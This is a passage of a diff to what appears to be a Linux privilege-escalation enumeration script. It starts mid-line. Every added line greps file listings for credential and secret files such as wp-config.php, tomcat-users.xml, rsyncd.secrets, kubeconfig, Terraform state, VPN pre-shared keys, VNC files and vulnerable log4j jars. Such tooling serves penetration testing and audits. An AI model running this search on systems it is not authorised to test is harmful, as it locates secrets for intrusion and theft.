sort | uniq | head -n 70)
+ PSTORAGE_WORDPRESS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "wp-config\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_DRUPAL=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/default/settings.php' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "settings\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_MOODLE=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 'moodle/config.php' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "config\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_TOMCAT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70)
+ PSTORAGE_MONGO=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_ROCKETCHAT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "rocketchat\.service$" | sort | uniq | head -n 70)
+ PSTORAGE_SUPERVISORD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_CESI=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "cesi\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_RSYNC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70)
+ PSTORAGE_RPCD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/init.d/|/sbin/|/usr/share/' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "rpcd$" | sort | uniq | head -n 70)
+ PSTORAGE_BITCOIN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "bitcoin\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_HOSTAPD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_WIFI_CONNECTIONS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "system-connections$" | sort | uniq | head -n 70)
+ PSTORAGE_PAM_AUTH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "pam\.d$" | sort | uniq | head -n 70)
+ PSTORAGE_NFS_EXPORTS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "exports$" | sort | uniq | head -n 70)
+ PSTORAGE_GLUSTERFS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "glusterfs\.pem$|glusterfs\.ca$|glusterfs\.key$" | sort | uniq | head -n 70)
+ PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70)
+ PSTORAGE_TERRAFORM=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.tfstate$|.*\.tf$" | sort | uniq | head -n 70)
+ PSTORAGE_RACOON=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70)
+ PSTORAGE_KUBERNETES=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "kubeconfig$|bootstrap-kubeconfig$|kubelet-kubeconfig$|kubelet\.conf$|psk\.txt$|\.kube.*$|kubelet$|kube-proxy$|kubernetes$" | sort | uniq | head -n 70)
+ PSTORAGE_VNC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/mime/' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70)
+ PSTORAGE_LDAP=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "ldap$" | sort | uniq | head -n 70)
+ PSTORAGE_LOG4SHELL=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}private|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}cdrom" | grep -E "log4j-core.*\.jar$" | sort | uniq | head -n 70)
